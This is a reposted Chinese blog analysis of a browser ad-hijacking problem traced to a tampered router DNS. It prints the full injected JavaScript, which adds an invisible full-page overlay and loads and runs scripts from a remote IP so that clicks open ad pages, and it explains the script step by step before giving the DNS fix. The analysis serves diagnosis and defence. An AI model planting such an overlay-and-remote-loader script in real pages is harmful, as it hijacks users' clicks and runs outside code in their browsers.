上网页面被强制广告——简单分析

转载 2016年11月24日 15:29:36

附转载地址http://blog.csdn.net/wangqiuyun/article/details/45424307

一、现象描述

事情起因很简单,最近家里打开网页,老发现有点不正常,火狐打开页面鼠标在上面随便点击一下,立马弹出广告,起初认为可能是浏览器问题或者机器中招了,后来看了一下系统没问题,换了几个浏览器发现还是一样,具体描述就是,页面打开后,鼠标在页面上无论搁哪都是箭头,放超链接上也是箭头而不是小手图标,只要一点击,在弹出广告新页面,并且广告内容每次随机。

二、分析流程

之前一直没时间搞它,今天放假没事,打开电脑决定搞搞它,第一感觉是页面被人插入了什么东西,抄起Firebug开干。

2.1、随手打开一个页面,http://tools.jb51.NET/tools/Escape.asp,瞅瞅,鼠标搁在超链接上,箭头形状,好家伙又来了,果断右键“使用Firebug查看元素”:

好家伙,至少查了四个JS,还有个宽高100%的div,一个大遮罩啊,那怪搁哪都是箭头了

[javascript] view plain copy 在CODE上查看代码片派生到我的代码片
  1. <div id="tempDIv">  
  2. <div id="newDiv_link" style="position:fixed;z-index:99999;opacity:.0;filter:alpha(opacity=0);left:0px;top:0px;width:100%;height:100%;background-color:#FFF;">  
  3. </div>  
  4. </div>  

2.2、开启Firebug果断重新载入,于是乎,原形毕露,来自于173.208.185.2,美国

2.3、果断查看那四个JS,发现是一样的:

2.4、拿去http://js.clicki.cn/解压美化后,还不错嘿嘿:

[javascript] view plain copy 在CODE上查看代码片派生到我的代码片
  1. function CookieEnable() {  
  2.     var result = false;  
  3.     if (navigator.cookiesEnabled) return true;  
  4.     document.cookie = "pksrqup=1;";  
  5.     var cookieSet = document.cookie;  
  6.     if (cookieSet.indexOf("pksrqup=1") > -1) result = true;  
  7.     document.cookie = "";  
  8.     return result  
  9. };  
  10. if (self.location == top.location) {  
  11.     if (!loaded) {  
  12.         if (CookieEnable()) {  
  13.             var cBrowser = {  
  14.                 versions: function() {  
  15.                     var u = navigator.userAgent,  
  16.                         app = navigator.appVersion;  
  17.                     return {  
  18.                         ios: !! u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/),  
  19.                         android: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1,  
  20.                         iPhone: u.indexOf('iPhone') > -1 || u.indexOf('Mac') > -1,  
  21.                         iPad: u.indexOf('iPad') > -1  
  22.                     }  
  23.                 }()  
  24.             };  
  25.             var loaded = true;  
  26.             var oHead = '';  
  27.             var oScript = '';  
  28.             var sWebHost = window.location.host;  
  29.             if (sWebHost.indexOf("www.") == 0) {  
  30.                 sWebHost = sWebHost.replace(/www./, "")  
  31.             };  
  32.             var iWebLink = 'http://61.147.96.220:65008/keywords/';  
  33.             var jsSrc = iWebLink + '?type=2&kw=' + sWebHost + '&r=' + Math.random();  
  34.             var sDefaultUrl = '';  
  35.   
  36.             function loadJsFile(src) {  
  37.                 oHead = document.getElementsByTagName('HEAD').item(0);  
  38.                 oScript = document.createElement("script");  
  39.                 oScript.type = "text/javascript";  
  40.                 oScript.src = src;  
  41.                 oHead.appendChild(oScript)  
  42.             };  
  43.   
  44.             function linkOpener() {  
  45.                 var divId = 'newDiv_link';  
  46.                 var newDiv = "<div id='" + divId + "' style='position:fixed;z-index:99999;opacity:.0;filter:alpha(opacity=0);left:0px;top:0px;width:100%;height:100%;background-color:#FFF;'></div>";  
  47.                 var tmpDiv = document.createElement("div");  
  48.                 tmpDiv.id = "tempDIv";  
  49.                 tmpDiv.innerHTML = newDiv;  
  50.                 document.body.appendChild(tmpDiv);  
  51.                 var opener_Div = document.getElementById(divId);  
  52.                 opener_Div.onclick = function() {  
  53.                     var sCookieUrl = sDefaultUrl.replace(/&/g, '_');  
  54.                     tempDIv.removeChild(document.getElementById(divId));  
  55.                     if (cBrowser.versions.iPhone || cBrowser.versions.iPad || cBrowser.versions.ios || cBrowser.versions.android) {  
  56.                         var setLink = iWebLink + 'visited.php?type=3&url=' + sCookieUrl + '&r=' + Math.random();  
  57.                         loadJsFile(setLink)  
  58.                     } else {  
  59.                         var setLink = iWebLink + 'visited.php?type=2&url=' + sCookieUrl + '&r=' + Math.random();  
  60.                         loadJsFile(setLink);  
  61.                         window.open(sDefaultUrl)  
  62.                     }  
  63.                 }  
  64.             };  
  65.   
  66.             function backCall(json) {  
  67.                 if (json.ret == 0) {  
  68.                     sDefaultUrl = json.data;  
  69.                     linkOpener()  
  70.                 } else if (json.ret == 100) {  
  71.                     window.location.href = sDefaultUrl  
  72.                 };  
  73.                 oHead.removeChild(oScript)  
  74.             };  
  75.             loadJsFile(jsSrc)  
  76.         }  
  77.     }  
  78. }  

2.5、所有秘密都藏在上面那段代码里,咱们一会再回头来看,先看看页面还有没有别的可疑的,显然我们还发现了这段:

2.6、接着在DOM看到:

如果没有猜错,点一下广告页面就是http://www.8ke.Net/weibo.PHP?action=pc了,看这些iWebLink、jsSrc、sDefaultUrl是不是似成相识呢?没错就是上面那段JS脚本。

三、被强制广告的流程

综合上观察结合那段JS,我推断出了如下被强制广告的流程

3.1、首先页面加载时被插入了一个脚本(至于怎么被插入后面会有讲),也就是说你请求的http://tools.jb51.net/tools/Escape.asp被人动了手脚,最简单的情况就是在这个页面注入了这么一段:

<script type="text/JavaScript" src=" http://hm.baidu.com//h.js?b88cfc1ccab788f0903cac38c894caa3">
</script>

此时上面那个脚本就进来了,并且开始运行。

3.2、脚本先判断页面是否为top.location,否则终止;接着判断是否已经loaded过,否则终止;然后判断是否开启cookie,否则终止,等等,三个判断(不过貌似navigator.cookiesEnabled 写错了吧,看了此人水平也不怎地);

3.3、接着脚本通过navigator识别设备是否为iOSAndroid、iPone、iPad系统,存于cBrowser,以便之后使用;

3.4、通过window.location.host获取主机头,例如tools.jb51.net;

3.5、接着构造远端的URL地址jsSrc(硬编码?),例如:http://61.147.96.220:65008/keywords/?type=2&kw=tools.jb51.net&r=0.0019117737800755652

3.6、以jsSrc为参数,调用loadJsFile(jsSrc)

3.7、loadJsFile(jsSrc)主要用于实现在head插入如下脚本

3.8、其中远端地址,例如:http://61.147.96.220:65008/keywords/?type=2&kw=tools.jb51.net&r=0.0019117737800755652 返回值为:

backCall({"ret":"0","data":"http:\/\/www.8ke.net\/weibo.php?action=pc"})

3.9、实际上loadJsFile()主要用来获取并执行远端发过来的指令,例如这里的backCall()函数

3.10、backCall()函数先判断传进来的json参数ret的值,如果为0设置,则设置sDefaultUrl的值为data,如:http://www.8ke.net/weibo.php?action=pc,然后调用linkOpener()函数,如果ret是100则直接window.location.href = sDefaultUrl,最后使用oHead.removeChild(oScript)将之前oHead.appendChild(oScript) 移除,所以咱之后在head是看不见这个脚本的

3.11、linkOpener()函数主要用于在页面插入一个div并绑定onclick的事件处理

3.12、先是动态创建一个覆盖整个页面的透明的div

[javascript] view plain copy 在CODE上查看代码片派生到我的代码片
  1. <div id="tempDIv">  
  2. <div id="newDiv_link" style="position:fixed;z-index:99999;opacity:.0;filter:alpha(opacity=0);left:0px;top:0px;width:100%;height:100%;background-color:#FFF;">  
  3. </div>  
  4. </div>  

3.13、之后通过document.body.appendChild(tmpDiv)将这个div添加到body里面

3.14、然后对上面添加的id为newDiv_link的div便签绑定一个onclick事件处理函数,至此页面加载完毕。

--------------------------------分割线-------------------------------------------------------------------------------------------------

3.15、当用户在页面上任何一个位置点击鼠标时,触发newDiv_link的onclick事件,调用事件处理函数

3.16、先把sDefaultUrl(取值如:http://www.8ke.net/weibo.php?action=pc)过滤一下,然后把tempDIv的div便签内容移除,之后判断设备是否是IOS或Android或iPhone或iPad,如果是则构造类似这样的链接:

http://61.147.96.220:65008/keywords/visited.php?type=3&url=http://www.8ke.net/weibo.php?action=pc&r=0.9964436281985068

否则构造:

http://61.147.96.220:65008/keywords/visited.php?type=2&url=http://www.8ke.net/weibo.php?action=pc&r=0.9964436281985068

3.17、之后调用上面loadJsFile(setLink)函数再次向远端发送请求,此外如果不是移动设备,则用window.open(sDefaultUrl)打开广告页面,页面弹出了,有木有

3.18、loadJsFile(setLink)再次在头部oHead.removeChild(oScript)插入脚本

向远端发送请求例如:http://61.147.96.220:65008/keywords/visited.php?type=2&url=http://www.8ke.net/weibo.php?action=pc&r=0.9964436281985068

3.19、远端响应:

3.20、再次调用backCall()函数,但是由于ret为-4故,直接oHead.removeChild(oScript)移除脚本,最后残留页面:

四、源头推断及处理

至此,被强插广告的流程基本被理清,一切都源于那段被插入的JS脚本,那个脚本又是如何来的呢?接触过流量劫持、JS脚本缓存投毒的童鞋一定很清楚,我这就不费口舌了,推荐看http://www.cnblogs.com/index-html/p/wifi_hijack_3.html

这里就不推断是运营商强插的也好或者是别人攻击污染也好,我查看了一下路由的DNS,问题是大大地:

果断去修改DNS改为指定的最爱:114.114.114.114,从此广告不再

神马,不会改DNS?推荐

修改DNS:http://jingyan.baidu.com/article/fc07f98975ff0d12fee51954.html

好用的DNS:http://jingyan.baidu.com/article/7f766daf44889a4101e1d083.html

Android H5页出现广告分析和解决方案

H5工作背景最新在做公司的项目,因为是定制化地图开发,需求不断变更,并且会在多种场景使用(Web,Android,IOS),因为需求和客户还有成本问题,H5更加适合这3端的页面嵌入,开发成本低,需求变...
  • qq_15809599
  • qq_15809599
  • 2017年12月25日 21:46
  • 310

上网页面被强制广告——简单分析

一、现象描述事情起因很简单,最近家里打开网页,老发现有点不正常,火狐打开页面鼠标在上面随便点击一下,立马弹出广告,起初认为可能是浏览器问题或者机器中招了,后来看了一下系统没问题,换了几个浏览器发现还是...
  • wangqiuyun
  • wangqiuyun
  • 2015年05月02日 00:55
  • 18318

防止网页被嵌入iframe广告代码

两年前,我写过一段代码,防止网页被嵌入框架(Frame)。但是,有一个问题:使用后,任何人都无法再把你的网页嵌入框架了,包括你自己在内。 于是,我今天就在考虑,有没有一种方法,使得我的网页只能被嵌入我...
  • uisoul
  • uisoul
  • 2017年09月28日 15:31
  • 253

站长如何屏蔽流氓宽带商在你的页面里面强行插入的广告代码

如果屏蔽页面上的广告?对于普通用户来说,使用AdBlock插件是最佳选择(针对火狐浏览器和谷歌浏览器用户,不知道IE浏览器容易如何处理这样的问题)。 没有人喜欢广告,但在互联网上,绝大多数网站的...
  • linshichen
  • linshichen
  • 2016年06月08日 17:12
  • 969

软件内嵌页面被运营商插入广告的处理方法

本文仅讨论内嵌页面被插入广告的处理(可控制的IWebBrowser2) 一些内嵌页面的软件往往被无耻的电信运营商加入广告弹窗,严重影响用户体验和口碑,我将在这里讨论几个现象和方法,希望可以给大家一...
  • aiqinxuancai
  • aiqinxuancai
  • 2014年12月24日 16:43
  • 2388

APP的HTML5页面经过运营商网络被植入手机管家问题及分析,解决方案见新文章

MAC iOS从ios8开始支持HTML,为了兼容IOS7一般使用WebViewJavascriptBridge这个第三方控件,IOS8自带的HTML5功能我也没有使用过,俺还是使用这个第三方控件简单...
  • jia12216
  • jia12216
  • 2015年08月16日 23:59
  • 2968

JS判断网页广告是否被浏览器拦截过滤的代码

这篇文章主要介绍了JS判断网页广告是否被浏览器拦截过滤的代码,需要的朋友可以参考下 本来现在投广告赚钱也不像前几年好做,现在还大部分浏览器都拦截了广告,很多浏览器还是默认拦截广告,做站长不是一...
  • wcslb
  • wcslb
  • 2017年03月27日 09:52
  • 1829

强制弹出页面+自动最小化广告代码

这个弹窗代码,效果很好,不过有点复杂!请细看! 这里涉及三个页面: 弹窗页:1.htm 放置弹窗代码的页面 中间页:2.htm 中间过度页面 弹出页:3.htm 被弹出的页面 在1.htm放入代码如...
  • haibo0668
  • haibo0668
  • 2016年06月02日 12:43
  • 305

javascript广告漂浮效果代码

javascript广告漂浮效果代码本例主要是网页漂浮广告代码,就是一个小框框在网页里漂浮。这个网页漂浮广告的实现也很简单,在网页中通过javascript寻找id为img1的div,然后通过js代码...
  • kk_Deephug
  • kk_Deephug
  • 2015年09月03日 22:11
  • 961

太无耻!电信强奸用户!强制插入广告!

    最近一段时间,我发现在浏览某些网站的时候,总是会在顶部看到一个广告条,是雪花啤酒的广告,我想华润真是有钱啊,广告都打到google上了,以前还没见过google首页广告的。直到有一天看到我们公...
  • zwonder
  • zwonder
  • 2007年04月06日 15:24
  • 1944
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:上网页面被强制广告——简单分析
举报原因:
原因补充:

(最多只允许输入30个字)